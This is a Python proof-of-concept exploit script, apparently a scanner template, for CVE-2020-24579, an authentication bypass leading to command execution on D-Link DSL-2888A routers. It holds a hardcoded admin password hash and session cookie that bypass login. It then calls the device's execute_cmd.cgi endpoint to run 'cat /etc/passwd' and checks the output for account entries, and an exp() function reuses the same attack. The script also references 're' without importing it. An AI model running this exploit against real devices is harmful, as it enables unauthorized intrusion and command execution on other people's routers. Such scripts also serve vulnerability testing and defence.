CVE-2020-24579.py

import requests


# Vuln Base Info
def info():
    return {
        "author": "cckuailong",
        "name": '''DLINK DSL 2888a RCE''',
        "description": '''An issue was discovered on D-Link DSL-2888A devices with firmware prior to AU_2.31_V1.1.47ae55. An unauthenticated attacker could bypass authentication to access authenticated pages and functionality.''',
        "severity": "high",
        "references": [
            "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/d-link-multiple-security-vulnerabilities-leading-to-rce/"
        ],
        "classification": {
            "cvss-metrics": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "cvss-score": "",
            "cve-id": "CVE-2020-24579",
            "cwe-id": "CWE-287"
        },
        "metadata":{
            "vuln-target": "",
            
        },
        "tags": ["cve", "cve2020", "dlink", "rce"],
    }


# Vender Fingerprint
def fingerprint(url):
    return True

# Proof of Concept
def poc(url):
    result = {}
    try:
        url = format_url(url)

        path = """/"""
        method = "POST"
        data = """username=admin&password=6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b"""
        headers = {'Cookie': 'uid=6gPjT2ipmNz'}
        resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        path = """/cgi-bin/execute_cmd.cgi?timestamp=1589333279490&cmd=cat%20/etc/passwd"""
        method = "GET"
        data = """"""
        headers = {'Cookie': 'uid=6gPjT2ipmNz'}
        resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)

        if (resp1.status_code == 200) and (re.search(r"""nobody:[x*]:65534:65534""",resp1.text) or re.search(r"""root:.*:0:0""",resp1.text)):
            result["success"] = True
            result["info"] = info()
            result["payload"] = url+path

    except:
        result["success"] = False
    
    return result


# Exploit, can be same with poc()
def exp(url):
    return poc(url)


# Utils
def format_url(url):
    url = url.strip()
    if not ( url.startswith('http://') or url.startswith('https://') ):
        url = 'http://' + url
    url = url.rstrip('/')

    return url